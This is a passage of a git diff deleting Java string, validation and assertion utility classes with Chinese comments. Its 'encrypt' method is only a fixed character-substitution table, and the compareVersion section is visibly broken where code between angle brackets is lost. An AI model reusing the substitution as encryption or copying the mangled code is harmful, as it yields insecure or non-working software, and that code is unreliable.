(sourceStr.equals("") || subStr.equals("")) { - return -1; - } - int result = 0; - int intPos = sourceStr.toUpperCase().indexOf(subStr.toUpperCase()); - while (intPos != -1) { - result++; - intPos = sourceStr.toUpperCase().indexOf(subStr.toUpperCase(), intPos + subStr.length()); - } - - return result; - } - - /** - * 用指定的分隔符把字符串数组合并成一个字符串. 数组为null或长度为0时返回空字符串
- * 例子:
- * String[] array = {"1",null,"","3"};
- * StringUtils.arrayToString(array,"|");
- * 返回结果:1|||3 - * - * @param array - * String[] 待合并的数组 - * @param splitStr - * String 数组各元素合并后,它们之间的分隔符,为null时用空字符串代替 - * @return String 合并后的字符串 - */ - public static String arrayToString(String[] array, String splitStr) { - if (null == array || 0 == array.length) { - return ""; - } - String newSplitStr = splitStr; - if (null == newSplitStr) { - newSplitStr = ""; - } - StringBuffer strBuf = new StringBuffer(""); - int len = array.length; - for (int i = 0; i < len - 1; i++) { - strBuf.append((null == array[i]) ? "" : array[i]).append(newSplitStr); - } - strBuf.append((null == array[len - 1]) ? "" : array[len - 1]); - - return strBuf.toString(); - } - - /** - * 用默认分隔符 | 把字符串数组合并成一个字符串. 数组为null或长度为0时返回空字符串 - * - * @param array - * String[] 待合并的数组 - * @return String 合并后的字符串 - */ - public static String arrayToString(String[] array) { - return arrayToString(array, "|"); - } - - /** - * 判断字符串是否为null或为空字符串(包括只含空格的字符串) - * - * @param str - * String 待检查的字符串 - * @return boolean 如果为null或空字符串(包括只含空格的字符串)则返回true,否则返回false - */ - public static boolean isNullBlank(String str) { - return (null == str || "".equals(str.trim())) ? true : false; - } - - /** - * 从字符串中得到指定位置的子串(按分隔符分隔,大小写敏感).
- * 例子:
- * StringUtils.decomposeString("a||b|c|d","|",1);
- * StringUtils.decomposeString("a||b|c|d","|",2);
- * StringUtils.decomposeString("a||b|c|d","|",3);
- * StringUtils.decomposeString("a||b|c|d","|",4);
- * StringUtils.decomposeString("a||b|c|d","|",5);
- * 返回结果:
- * a,空字符串,b,c,d - * - * @param sourceStr - * String 源字符串 - * @param splitStr - * String 分隔符 - * @param pos - * int 位置,从1开始 - * @return String 返回指定位置的子串。
- * 当分隔符为null或为空字符串时返回源字符串;
- * 当源字符串为null或为空字符串时返回空字符串;
- * 当指定位置小于1或大于分隔符个数-1时返回空字符串。 - */ - public static String decomposeString(String sourceStr, String splitStr, int pos) { - String retu = ""; - String newSourceStr = sourceStr; - if (null == newSourceStr || "".equals(newSourceStr.trim())) { - return ""; - } - - if (pos <= 0) { - return ""; - } - - if (null == splitStr || "".equals(splitStr)) { - return sourceStr; - } - - newSourceStr = newSourceStr + splitStr; - String tmpStr = newSourceStr; - - int splitLen = splitStr.length(); - int tmpLen = tmpStr.length(); - - for (int i = 0; i < pos - 1; i++) { - int tmpPosi = tmpStr.indexOf(splitStr); - if (tmpPosi < 0 || tmpPosi + splitLen >= tmpLen) { - tmpStr = splitStr; - break; - } else { - tmpStr = tmpStr.substring(tmpPosi + splitLen); - } - } - retu = tmpStr.substring(0, tmpStr.indexOf(splitStr)); - return retu; - } - - /** - * 从字符串中得到指定位置的子串(按分隔符 | 分隔). - * - * @param sourceStr - * String 源字符串 - * @param pos - * int 位置,从1开始 - * @return String 返回指定位置的子串。
- * 当分隔符为null或为空字符串时返回源字符串;
- * 当源字符串为null或为空字符串时返回空字符串;
- * 当指定位置小于1或大于分隔符个数-1时返回空字符串。 - */ - public static String decomposeString(String sourceStr, int pos) { - return decomposeString(sourceStr, "|", pos); - } - - /** - * 删除指定的前导、后导子串(大小写敏感).
- * 例子:
- * StringUtils.trim("and and username = '123' and password = 'abc' and - * ","and ");
- * 结果:username = '123' and password = 'abc' - * - * @param sourceStr - * String 待删除的字符串 - * @param removeChar - * char 子串 - * @return String 处理后的字符串 - */ - public static String trim(String sourceStr, char removeChar) { - if (sourceStr == null) { - return null; - } - String newSourceStr = sourceStr; - - newSourceStr = newSourceStr.trim(); - int loIntBegin = 0; - int loIntEnd = 0; - int loIntLen = newSourceStr.length(); - for (int i = 0; i < loIntLen; i++) { - if (newSourceStr.charAt(i) == removeChar) { - loIntBegin++; - } else { - break; - } - } - for (int i = 0; i < loIntLen; i++) { - if (newSourceStr.charAt(loIntLen - 1 - i) == removeChar) { - loIntEnd++; - } else { - break; - } - } - return newSourceStr.substring(loIntBegin, loIntLen - loIntEnd); - } - - /** - * 删除指定的前导、后导子串(大小写敏感).
- * 例子:
- * StringUtils.trim("and and username = '123' and password = 'abc' and - * ","and ");
- * 结果:username = '123' and password = 'abc' - * - * @param sourceStr - * String 待删除的字符串 - * @param removeChar - * char 子串 - * @param end - * true 只trim末尾,false 只trim头部 - * @return String 处理后的字符串 - */ - public static String trim(String sourceStr, char removeChar, boolean end) { - if (sourceStr == null) { - return null; - } - String newSourceStr = sourceStr; - - newSourceStr = newSourceStr.trim(); - int loIntBegin = 0; - int loIntEnd = 0; - int loIntLen = newSourceStr.length(); - for (int i = 0; i < loIntLen; i++) { - if (newSourceStr.charAt(i) == removeChar) { - loIntBegin++; - } else { - break; - } - } - for (int i = 0; i < loIntLen; i++) { - if (newSourceStr.charAt(loIntLen - 1 - i) == removeChar) { - loIntEnd++; - } else { - break; - } - } - if (end) { - return newSourceStr.substring(0, loIntLen - loIntEnd); - } else { - return newSourceStr.substring(loIntBegin); - } - } - - /** - *
-	 * 将字符串截短到特定的长度,一个中文是两个字节的长度,但是是1个字符的长度,例:
-	 * 1)truncate("巨龙软件公司",2,CHAR_LEN) = "巨龙"
-	 * 2)truncate("巨龙软件公司",2,BYTE_LEN) = "巨"
-	 * 3)truncate("dragonsoft",2,CHAR_LEN) = "dr"
-	 * 4)truncate("dragonsoft",2,BYTE_LEN) = "dr"
-	 * 
- * - * @param str - * String 需要截的字符串 - * @param len - * int 截到的目标长度 - * @param lenType - * int 长度类型,字符长度{@link CHAR_LEN},字符长度{@link BYTE_LEN} - * @return String - */ - public static String truncate(String str, int len, int lenType) { - if (str == null) { - return str; - } - // 字符长度 - if (lenType == CHAR_LEN) { - if (str.length() <= len) { - return str; - } else { - return str.substring(0, len); - } - } else // 字节长度 - { - StringBuffer sb = new StringBuffer(); - int temp = 0; - - for (int i = 0; i < str.length(); i++) { - if (i < len) // 是否到指定的长度 - { - temp = ("" + str.charAt(i)).getBytes().length; - if (i + temp <= len) { - sb.append(str.charAt(i)); - } else { - break; - } - } else { - break; - } - } - return sb.toString(); - } - } - - /** - * 从源字符串中从第一个字符开始取出给定长度的字串.
- * 源字符串长度大于len时,尾巴追加一个appendStr串 - * - * @param sourceStr - * String 源字符串 - * @param len - * int 取出的长度 - * @param appendStr - * String 追加的字符串(常用的appendStr为...) - * @return String 取出的子串 - */ - public static String substring(String sourceStr, int len, String appendStr) { - if (null == sourceStr || "".equals(sourceStr)) { - return sourceStr; - } - if (len <= 0) { - return ""; - } - - String newappendStr = appendStr; - if (null == newappendStr) { - newappendStr = ""; - } - - int sourceLen = sourceStr.length(); - if (len >= sourceLen) { - return sourceStr; - } else { - return sourceStr.substring(0, len) + newappendStr; - } - } - - /** - * 产生指定长度随机字符串(包括字母及数字). - * - * @param length - * int 随机字符串长度 - * @return String 随机字符串 - */ - public static String random(int length) { - String retu = ""; - int d1; - int d2; - char[] letters = initLetters(); - //int[] numbers = initNumbers(); - - for (int i = 0; i < length; i++) { - // d1 = ((int) (Math.random() * 10) % 2); - d1 = (int) (Math.random() * 10) % 2; - - if (d1 == 0) { // use a letter - // d2 = ((int) (Math.random() * 100) % 52); - d2 = (int) (Math.random() * 100) % 52; - retu += letters[d2]; - } else if (d1 == 1) { // use a number - retu += (int) (Math.random() * 10); - } - } - return retu; - } - - /** - * 产生纯字母的随机字符串 - * - * @param length - * int 随机字符串长度 - * @return String 随机字符串 - */ - public static String randomString(int length) { - String retu = ""; - int d2; - char[] letters = initLetters(); - - for (int i = 0; i < length; i++) { - // d2 = ((int) (Math.random() * 100) % 52); - d2 = (int) (Math.random() * 100) % 52; - retu += letters[d2]; - } - return retu; - } - - /** - * 产生纯数字随机字符串 - * - * @param length - * int 随机字符串长度 - * @return String 随机字符串 - */ - public static String randomNumber(int length) { - String retu = ""; - //int[] numbers = initNumbers(); - - for (int i = 0; i < length; i++) { - retu += (int) (Math.random() * 10); - } - return retu; - } - - /** - * 内部方法,产生字母数组 - * - * @return char[] - */ - private static char[] initLetters() { - char[] ca = new char[52]; - for (int i = 0; i < 26; i++) { - ca[i] = (char) (65 + i); - } - for (int i = 26; i < 52; i++) { - ca[i] = (char) (71 + i); - } - return ca; - } - - /** - * 内部方法,产生数字数组 - * - * @return int[] - */ - /*private static int[] initNumbers() { - int[] na = new int[10]; - for (int i = 0; i < 10; i++) { - na[i] = i; - } - return na; - }*/ - - /** - * 对字符串进行加减密处理. - * - * @param source - * String 待加减密处理的字符串 - * @param flag - * boolean true表进行加密,false表进行减密 - * @return String 处理后的字符串.
- * source为空则返回原字符串source,
- * 如果source中含有中文字符则对这一中文字符不处理. - */ - public static String encrypt(String source, boolean flag) { - if (null == source || "".equals(source.trim())) { - return source; - } - String lsKEY1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz~!@#$%^&*(),.;[]{}"; - String lsKEY2 = "&*()AD;[BFLCGH]{PQ}EI!JKRYZ1MSTXNO23UV,.Wcd45ef6lm7g@h0a#$nij8ob%^ptvz9ku~qrswxy"; - - char[] chSource = source.toCharArray(); - - StringBuffer strBuf = new StringBuffer(chSource.length); - - int pos; - int len = chSource.length; - for (int i = 0; i < len; i++) { - if (flag) { // 加密 - pos = lsKEY1.indexOf(chSource[i]); - if (pos >= 0) { - strBuf.append(lsKEY2.substring(pos, pos + 1)); - } else { - strBuf.append(chSource[i]); - } - } else { // 减密 - pos = lsKEY2.indexOf(chSource[i]); - if (pos >= 0) { - strBuf.append(lsKEY1.substring(pos, pos + 1)); - } else { - strBuf.append(chSource[i]); - } - } - } - - return strBuf.toString(); - - } - - /** - * 将null字符串转换为空串,方便HTML的显示 - * - * @param sourceStr - * 待处理的字符串 - * @return String 处理的的字符串 - */ - public static String toVisualString(String sourceStr) { - if (sourceStr == null || sourceStr.equals("")) { - return ""; - } else { - return sourceStr; - } - } - - /** - * 将字段填充到指定的长度 - * - * @param sourceStr - * String 操作字符串 - * @param length - * int 指定长度 - * @param withChar - * char 填充的字符 - * @param isPadToEnd - * boolean 是否填充在字符的尾部 true :是 ,false:填充在头部 - * @return String - */ - public static String pad(String sourceStr, int length, char withChar, boolean isPadToEnd) { - if (sourceStr == null) { - return null; - } - if (sourceStr.length() >= length) { - return sourceStr; - } - - StringBuffer sb = new StringBuffer(sourceStr); - for (int i = 0; i < length - sourceStr.length(); i++) { - if (isPadToEnd) { - sb.append(withChar); - } else { - sb.insert(0, withChar); - } - } - return sb.toString(); - - } - - /** - * 首字母大写 - * @return - */ - public static String capToUpper(String str){ - if (str == null) { - return null; - } - if(str.length()<0){ - return ""; - } - return str.substring(0,1).toUpperCase()+str.substring(1); - } - /** - * main - * - * @param args - * String[] - * @author:Administrator - */ - - - /** - * 将身份证号码转换为18位 - * - * @param xIdCode - * String - * @return String - */ - public static String idTo18(String xIdCode) { - return IdentificationNumberUtils.id15ToId18(xIdCode); - } - - /** - * 将身份证号转换为15位 - * - * @param xIdCode - * String - * @return String - */ - public static String idTo15(String xIdCode) { - return IdentificationNumberUtils.id18ToId15(xIdCode); - } - - /** - * getIdCheckBit - * - * @param xId - * id - * @return String - * @author:Administrator - */ - private static String getIdCheckBit(String xId) { - return IdentificationNumberUtils.getIdCheckBit(xId); - } - - /** - * MD5加密算法 - * - * @更新时间:Apr 22, 2008 - * @更新作者:Ryan Wong - * @param s - * String - * @return String - */ - public static String md5(String s) { - char[] hexDigits = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' }; - try { - byte[] strTemp = s.getBytes(); - MessageDigest mdTemp = MessageDigest.getInstance("MD5"); - mdTemp.update(strTemp); - byte[] md = mdTemp.digest(); - int j = md.length; - char[] str = new char[j * 2]; - int k = 0; - for (int i = 0; i < j; i++) { - byte byte0 = md[i]; - str[k++] = hexDigits[byte0 >>> 4 & 0xf]; - str[k++] = hexDigits[byte0 & 0xf]; - } - return new String(str); - } catch (Exception e) { - return null; - } - } - - /** - * 取得字符串中间的几位 - * - * @更新时间:Apr 22, 2008 - * @更新作者:Ryan Wong - * @param strsource - * str_source - * @param midlength - * midlength - * @return String - */ - public static String getMidString(String strsource, int midlength) { - String strMid = ""; - int length = strsource.length(); - if (midlength > length) { - return null; - } - if (length % 2 == 0) { - if (midlength % 2 != 0) { - return null; - } - strMid = strsource.substring(length / 2 - midlength / 2, length / 2 + midlength / 2); - - } else { - if (midlength % 2 == 0) { - return null; - } - strMid = strsource.substring((length - 1) / 2 - (midlength - 1) / 2, (length - 1) / 2 - + (midlength - 1) / 2 + 1); - - } - return strMid; - } - - public static boolean isNotBlank(String value){ - return (value!=null) && !value.equals(""); - } - - public static boolean isBlank(String value){ - return (value==null) || value.equals(""); - } - /** - * getStringToInt - * @param value String - * @param defaultInt int - * @return int - * @author:Administrator - */ - public static int getStringToInt(String value, int defaultInt) { - int i = defaultInt; - if (isNotBlank(value) ) { - Integer intObject = getStringByInt(value); - if(intObject!=null){ - return intObject.intValue(); - } - } - return i; - } - - /** - * 字符串替换 - * @param value String - * @param replaceChar String - * @return String - * @author:Administrator - */ - public static String replaceStr(String value, String replaceChar) { - String returnValue = ""; - if (isNotBlank(value)) { - returnValue = value.replaceAll("[" + replaceChar + "]", ""); - } - return returnValue; - } - - /** - * getNullByString - * @param value String - * @return String - * @author:Administrator - */ - public static String getNullByString(String value) { - String values = ""; - if (isNotBlank(value)) { - values = value.trim(); - } - return values; - } - - /** - * getNullByString - * @param value String - * @param defaultValue String - * @return String - * @author:Administrator - */ - public static String getNullByString(String value, String defaultValue) { - String values = ""; - if (isNotBlank(value)) { - values = value; - } else { - values = defaultValue; - } - return values; - } - - /** - * getStringByInt - * @param value String - * @return Integer - * @author:Administrator - */ - public static Integer getStringByInt(String value) { - Integer intValue = null; - if (isNotBlank(value) ) { - try{ - intValue = Integer.valueOf(value); - } catch(NumberFormatException ex){ - - } - } - return intValue; - } - - /** - * getStringByMaxLen - * @param value String - * @param maxLen int - * @return String - * @author:Administrator - */ - public static String getStringByMaxLen(String value, int maxLen) { - String returnValue = ""; - if (isNotBlank(value)) { - returnValue = value.length() > maxLen ? value.substring(0, maxLen) : value; - } - return returnValue; - } - - /** - * getCheckBoxValueByStr - * @param value String - * @return String - * @author:Administrator - */ - public static String getCheckBoxValueByStr(String value) { - String returnValue = ""; - if (isNotBlank(value)) { - if (value.equals("on")) { - returnValue = "1"; - } else { - returnValue = "0"; - } - } - return returnValue; - } - - /** - * 删除字符两端的空字符串 - * - * @author cailj - * @param str - * @return - */ - public static String trim(String str) { - return str != null ? str.trim() : null; - } - - /** - * 进行字符规格化(全角转半角,大写转小写处理) - * @param input - * @return char - */ - public static char[] regularize(char[] input){ - - for(int i = 0; i < input.length; i ++){ - input[i] = regularize(input[i]); - } - return input; - } - - /** - * 进行字符规格化(全角转半角,大写转小写处理) - * @param input - * @return char - */ - public static char regularize(char input){ - if (input == 12288) { - input = (char) 32; - - }else if (input > 65280 && input < 65375) { - input = (char) (input - 65248); - - }else if (input >= 'A' && input <= 'Z') { - input |= 32; - } - return input; - } - - /** - * 进行字符规格化(全角转半角,大写转小写处理) - * @param input - * @return char - */ - public static String regularize(String input){ - if(StringUtils.isBlank(input)) return ""; - - char[] inputChars = input.toCharArray(); - for(int i = 0; i < inputChars.length; i ++){ - inputChars[i] = regularize(inputChars[i]); - } - return new String(inputChars); - } - - /** - * 字符反转 - * eg: reverse(abc) = cba - * @param str - * @return - */ - public static String reverse(String str) { - char[] chrs = str.toCharArray(); - int n = chrs.length - 1; - for (int j = (n-1) >> 1; j >= 0; --j) { - char temp = chrs[j]; - char temp2 = chrs[n - j]; - chrs[j] = temp2; - chrs[n - j] = temp; - } - return new String(chrs, 0, chrs.length); - } - /** - * 字符串是否是 数字类型 - * @param str - * @return - */ - public static boolean isNumber(String str){ - - if(isInteger(str)||isFloat(str)){ - return true; - }else{ - return false; - } - - } - - /** - * 判断字符串是否为浮点型 - * @param str - * @return - */ - public static boolean isFloat(String str){ - - if(StringUtils.isNullBlank(str))return false; - - Pattern pattern= Pattern.compile("^[-\\+]?\\d+\\.{0,1}[\\d]+$"); - return pattern.matcher(str).matches(); - } - - /** - * 判断字符串是否是整数 - * @param str - * @return - */ - public static boolean isInteger(String str){ - - if(StringUtils.isNullBlank(str))return false; - - Pattern pattern = Pattern.compile("^[-\\+]?[\\d]+$"); - return pattern.matcher(str).matches(); - } - - /** - * 忽略正则关键字 - * @param keyword 正在表达式关键字 例如"\t","\d","*"等 - * @return 返回正则表达式 - */ - public static String ignoreRegexKeyword(String keyword){ - return "\\Q"+keyword+"\\E"; - } - - /** - * - * @param str - * @param character - * @return - */ - public static String removeLastCharacter(String str, String character){ - if(str==null||str.length()==0){ - return str; - } - int en=-1; - if((en=str.lastIndexOf(character))>=0&&(en+character.length()==str.length())){ - return str.substring(0,en); - }else{ - return str; - } - } - public static String ignoreKeyword(String txt){ - if(txt==null){ - return null; - } - String str=ignoreKeyword(txt,"n"); - str=ignoreKeyword(str,"t"); - return str; - } - public static String ignoreKeyword(Object object){ - return ignoreKeyword(String.valueOf(object)); - } - public static String ignoreKeyword(String txt, String keyWord){ - if(txt==null){ - return null; - } - - if(txt.length()==0||isBlank(keyWord)){ - return txt; - } - return txt.replaceAll("\\"+keyWord,"\\\\"+keyWord); - } - - - - - /** - * 下划线转驼峰法 - * @param line 源字符串 - * @param smallCamel 大小驼峰,是否为小驼峰 - * @return 转换后的字符串 - */ - public static String underline2Camel(String line, boolean smallCamel){ - if(line==null||"".equals(line)){ - return ""; - } - StringBuffer sb=new StringBuffer(); - Pattern pattern= Pattern.compile("([A-Za-z\\d]+)(_)?"); - Matcher matcher=pattern.matcher(line); - while(matcher.find()){ - String word=matcher.group(); - sb.append(smallCamel&&matcher.start()==0? Character.toLowerCase(word.charAt(0)): Character.toUpperCase(word.charAt(0))); - int index=word.lastIndexOf('_'); - if(index>0){ - sb.append(word.substring(1, index).toLowerCase()); - }else{ - sb.append(word.substring(1).toLowerCase()); - } - } - return sb.toString(); - } - /** - * 驼峰法转下划线 - * @param line 源字符串 - * @return 转换后的字符串 - */ - public static String camel2Underline(String line){ - if(line==null||"".equals(line)){ - return ""; - } - line= String.valueOf(line.charAt(0)).toUpperCase().concat(line.substring(1)); - StringBuffer sb=new StringBuffer(); - Pattern pattern= Pattern.compile("[A-Z]([a-z\\d]+)?"); - Matcher matcher=pattern.matcher(line); - while(matcher.find()){ - String word=matcher.group(); - sb.append(word.toUpperCase()); - sb.append(matcher.end()==line.length()?"":"_"); - } - return sb.toString(); - } - - - //IOS端version比较大小 param1>param2 返回 1 =返回0 <返回-1 - public static int compareVersion(String versionClient,String versionServe){ - //版本长度 - String[] cArr = versionClient.split("\\."); - String[] sArr = versionServe.split("\\."); - int diff = cArr.length-sArr.length; - int result = 0; - - //补齐长度 - if(diff>0){ - sArr = align(sArr,cArr,diff); - }else{ - cArr = align(cArr,sArr,-diff); - } - - for(int i=0;i0){ - param2 = align(param2,param1,diff2); - }else{ - param1 = align(param1,param2,-diff2); - } - - int param11 = Integer.parseInt(StringUtils.arrayToString(param1,"")); - int param22 = Integer.parseInt(StringUtils.arrayToString(param2,"")); - - if(param11>param22){ - result = 1; - break; - }else if(param11Assert - * - *
 --描述说明--
- *

- * 
- * --样例--
- *   Assert obj = new Assert();
- *   obj.method();
- * 
- * JDK版本:JDK1.4 - * @author 李炜 - */ -public abstract class Validator { - /** - * 判断表达式是否为true - * @param expression 要判断的表达式 - */ - public static boolean isTrue(boolean expression) { - return expression; - } - - - /** - * 判断表达式是否为0 - * @param expression 要判断的表达式 - */ - public static boolean isZero(int num) { - return num == 0; - } - - - /** - * 判断表达式是否为非空 - * @param expression 要判断的表达式 - */ - public static boolean notZero(int num, String message) { - return num == 0; - } - - - - /** - * 判断表达式是否为空 - * @param expression 要判断的表达式 - */ - public static boolean isNull(Object object) { - return object == null; - } - - - - /** - * 判断表达式是否为非空 - * @param expression 要判断的表达式 - */ - public static boolean notNull(Object object) { - return object != null; - } - - /** - * 判断字符串长度是否大于指定长度 - * @param text 字符串 - * @param size 指定长度 - */ - public static boolean gtLength(String text,int size){ - return notNull(text) && text.length() > size; - } - - - public static boolean gtLength(Collection collection,int size){ - return notNull(collection) && collection.size() > size; - } - - public static boolean gtLength(Map collection,int size){ - return notNull(collection) && collection.size() > size; - } - - - /** - * 判断字符串长度是否小于指定长度 - * @param text 字符串 - * @param size 指定长度 - */ - public static boolean ltLength(String text,int size){ - return notNull(text) && text.length() < size; - } - - public static boolean ltLength(Collection collection,int size){ - return notNull(collection) && collection.size()< size; - } - - public static boolean ltLength(Map collection,int size){ - return notNull(collection) && collection.size()< size; - } - - /** - * 判断text是否为有内容字符串 - * @param text 要判断的字符串 - */ - public static boolean hasLength(String text) { - return notNull(text) && gtLength(text, 0); - } - - public static boolean hasLength(Object[] arrays){ - return notNull(arrays) && arrays.length > 0; - } - - /** - * 判断text是否为有内容字符串 - * @param text 要判断的字符串 - */ - public static boolean hasLength(StringBuffer text) { - return notNull(text) && gtLength(text.toString(), 0); - } - - - /** - * 判断text是否为有内容,如果都是空白字符也将抛异常 - * @param text 要判断的字符串 - */ - public static boolean hasText(String text) { - return notNull(text) && gtLength(text.trim(), 0); - } - - public static boolean hasText(StringBuffer sb){ - return notNull(sb) && gtLength(sb.toString().trim(), 0); - } - - /** - * 判断数组是否大于指定长度 - * @param array 数组 - * @param size 长度 - */ - public static boolean gtSize(Object[] array,int size){ - return notNull(array) && array.length > size; - } - - /** - * 判断数组是否小于指定长度 - * @param array 数组 - * @param size 长度 - */ - public static boolean ltSize(Object[] array,int size){ - return notNull(array) && array.length < size; - } - - - /** - * 判断数组是否为空数组 - * @param array 要判断的数租 - */ - public static boolean notEmpty(Object[] array) { - return notNull(array) && gtSize(array, 0); - } - - - /** - * 判断集合是否为空集合对象 - * @param array 要判断的集合对象 - */ - public static boolean notEmpty(Collection collection) { - return notNull(collection) && !collection.isEmpty(); - } - - - - - /** - * 判断Map是否为空对象,有默认消息 - * @param array 要判断的Map - * @throws IllegalArgumentException 如果是空集合对象或者null - */ - public static boolean notEmpty(Map map) { - return notNull(map) && !map.isEmpty(); - } - - - /** - *判断指定的 Object 是否与此 type 所表示的对象赋值兼容 - * @param 用于检查的Class对象 - * @param obj 用于检查的对象 - */ - public static boolean isInstanceOf(Class type, Object obj, String message) { - return notNull(type) && type.isInstance(obj); - } - - - /** - * 判断两个类型是否相同 - * @param type1 - * @param type2 - */ - public static boolean isSameType(Class type1,Class type2,String message){ - return notNull(type1) && notNull(type2) && type1.equals(type2); - } - - - /** - * 判断一个class对象调用newInstance,是否成功 - * @param type - */ - public static boolean isNewInstanceOf(Class type){ - if(notNull(type)){ - try { - type.newInstance(); - return true; - } catch (Exception e) { - return false; - } - }else{ - return false; - } - } - - - /** - * 判断superType.isAssignableFrom(subType)是否为true - * @param superType 超类 - * @param subType 子类 - */ - public static boolean isAssignable(Class superType, Class subType) { - return notNull(superType) && notNull(subType) && superType.isAssignableFrom(subType); - } - - - - - -} diff --git a/luqj-common/src/main/java/com/luqj/util/assertion/Assert.java b/luqj-common/src/main/java/com/luqj/util/assertion/Assert.java deleted file mode 100644 index b4ccd9a..0000000 --- a/luqj-common/src/main/java/com/luqj/util/assertion/Assert.java +++ /dev/null @@ -1,396 +0,0 @@ -/** -* 版权所有:厦门市巨龙软件工程有限公司 -* Copyright 2010 Xiamen Dragon Software Eng. Co. Ltd. -* All right reserved. -*==================================================== -* 文件名称: Assert.java -* 修订记录: -* No 日期 作者(操作:具体内容) -* 1. 2010-8-6 李炜(创建:创建文件) -*==================================================== -* 类描述:(说明未实现或其它不应生成javadoc的内容) -* -*/ -package com.luqj.util.assertion; - - -import com.luqj.util.log.LogUtil; - -import java.util.Collection; -import java.util.Map; - -/** - *
Assert
- * - *
 --描述说明--
- *

- * 
- * --样例--
- *   Assert obj = new Assert();
- *   obj.method();
- * 
- * JDK版本:JDK1.4 - * @author 李炜 - */ -public abstract class Assert { - /** - * 断言表达式是否为true - * @param expression 要断言的表达式 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果不是true - */ - public static void isTrue(boolean expression, String message) { - - if (!expression) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言表达式是否为true,有默认消息 - * @param expression 要断言的表达式 - * @throws IllegalArgumentException 如果不是true - */ - public static void isTrue(boolean expression) { - isTrue(expression, "[断言失败] - 参数必须是 true"); - } - - /** - * 断言表达式是否为0 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果不是空 - */ - public static void isZero(long num, String message) { - if (num != 0) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言表达式是否为空,有默认消息 - * @throws IllegalArgumentException 如果不是空 - */ - public static void isZero(long num) { - isZero(num, "[断言失败] - 参数值必须是0"); - } - - /** - * 断言表达式是否为非空 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果不是非空 - */ - public static void notZero(long num, String message) { - if (num == 0) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言表达式是否为非空,有默认消息 - * @throws IllegalArgumentException 如果不是非空 - */ - public static void notZero(long num) { - notZero(num, "[断言失败] - 参数必须非0"); - } - - - /** - * 断言表达式是否为空 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果不是空 - */ - public static void isNull(Object object, String message) { - if (object != null) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言表达式是否为空,有默认消息 - * @throws IllegalArgumentException 如果不是空 - */ - public static void isNull(Object object) { - isNull(object, "[断言失败] - 参数必须是 null"); - } - - - - /** - * 断言表达式是否为非空 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果不是非空 - */ - public static void notNull(Object object, String message) { - if (object == null) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言表达式是否为非空,有默认消息 - * @throws IllegalArgumentException 如果不是非空 - */ - public static void notNull(Object object) { - notNull(object, "[断言失败] - 参数必须是非空对象"); - } - - - - /** - * 断言表达式是否为非空,有默认消息 - * @throws IllegalArgumentException 如果不是非空 - */ - public static void notNull(Object... objects) { - for (int i = 0; i < objects.length; i++) { - notNull(objects[i], "[断言失败] - 参数["+i+"]必须是非空对象"); - } - } - - /** - * 断言text是否为有内容字符串 - * @param text 要断言的字符串 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果是空串或null对象 - */ - public static void hasLength(String text, String message) { - if (text == null || text.length() == 0) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言text是否为有内容字符串,有默认消息 - * @param text 要断言的字符串 - * @throws IllegalArgumentException 如果是空串或null对象 - */ - public static void hasLength(String text) { - hasLength(text, - "[断言失败] - 参数必须是非空字符串"); - } - - /** - * 断言text是否为有内容,如果都是空白字符也将抛异常 - * @param text 要断言的字符串 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果是空串或null对象,或所有内容为空白字符 - */ - public static void hasText(String text, String message) { - if (text == null || text.trim().length() == 0) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言text是否为有内容,如果都是空白字符也将抛异常,有默认消息 - * @param text 要断言的字符串 - * @throws IllegalArgumentException 如果是空串或null对象,或所有内容为空白字符 - */ - public static void hasText(String text) { - hasText(text, - "[断言失败] - text必须是有内容的,有内容指不是全部为空白字符的字符串"); - } - - - /** - * 断言数组是否为空数组 - * @param array 要断言的数租 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果是空数组或者null - */ - public static void notEmpty(Object[] array, String message) { - if (array == null || array.length == 0) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言数组是否为空数组,有默认消息 - * @param array 要断言的数租 - * @throws IllegalArgumentException 如果是空数组或者null - */ - public static void notEmpty(Object[] array) { - notEmpty(array, "[断言失败] - 参数数组必须是非空数组"); - } - - /** - * 断言集合是否为空集合对象 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果是空集合对象或者null - */ - public static void notEmpty(Collection collection, String message) { - if (collection == null || collection.isEmpty()) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言集合是否为空集合对象,有默认消息 - * @throws IllegalArgumentException 如果是空集合对象或者null - */ - public static void notEmpty(Collection collection) { - notEmpty(collection, - "[断言失败] - 集合参数必须是有内容的"); - } - - /** - * 断言Map是否为空对象 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果是空集合对象或者null - */ - public static void notEmpty(Map map, String message) { - if (map == null || map.isEmpty()) { - throw new IllegalArgumentException(message); - } - } - - /** - * 断言Map是否为空对象,有默认消息 - * @throws IllegalArgumentException 如果是空集合对象或者null - */ - public static void notEmpty(Map map) { - notEmpty(map, "[断言失败] - Map参数必须是有内容的"); - } - - - /** - *断言指定的 Object 是否与此 type 所表示的对象赋值兼容 - * @param obj 用于检查的对象 - * @throws IllegalArgumentException 如果不兼容 - */ - public static void isInstanceOf(Class clazz, Object obj) { - isInstanceOf(clazz, obj, ""); - } - - /** - *断言指定的 Object 是否与此 type 所表示的对象赋值兼容 - * @param obj 用于检查的对象 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果不兼容 - */ - public static void isInstanceOf(Class type, Object obj, String message) { - notNull(type, "类型对象不可为空"); - if (!type.isInstance(obj)) { - throw new IllegalArgumentException(message + - "Object of class [" + (obj != null ? obj.getClass().getName() : "null") + - "] must be an instance of " + type); - } - } - - - /** - * 断言一个class对象调用newInstance,是否成功 - * @param type - * 